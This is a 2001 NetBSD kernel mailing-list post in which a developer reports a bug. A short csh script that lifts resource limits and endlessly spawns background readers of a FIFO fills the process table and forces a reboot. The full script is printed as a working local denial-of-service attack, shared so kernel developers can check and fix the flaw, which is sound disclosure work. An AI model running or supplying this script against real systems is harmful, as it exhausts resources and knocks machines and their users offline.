Subject: denial of service shell script
To: None <tech-kern@netbsd.org>
From: Emmanuel Dreyfus <manu@netbsd.org>
List: tech-kern
Date: 12/18/2001 08:22:23
Hi!

The following script used to crash NetBSD and OpenBSD a few years ago, I
just tested it on -current, just to check that it was fixed, and it
seems to turn into a nice denial of service script now. After it ran,
process table is full, and it seems I'm bound to reboot to fix things.

Is it a bad local setup at mine, or a real bug?

#!/bin/csh
set path = ( /usr/bin /usr/sbin /bin /sbin )
unlimit
cd /tmp
if ( -e fifo ) then
rm fifo
endif
mkfifo fifo
while ( 1 )
cat fifo >& /dev/null &
end


-- 
Emmanuel Dreyfus
manu@netbsd.org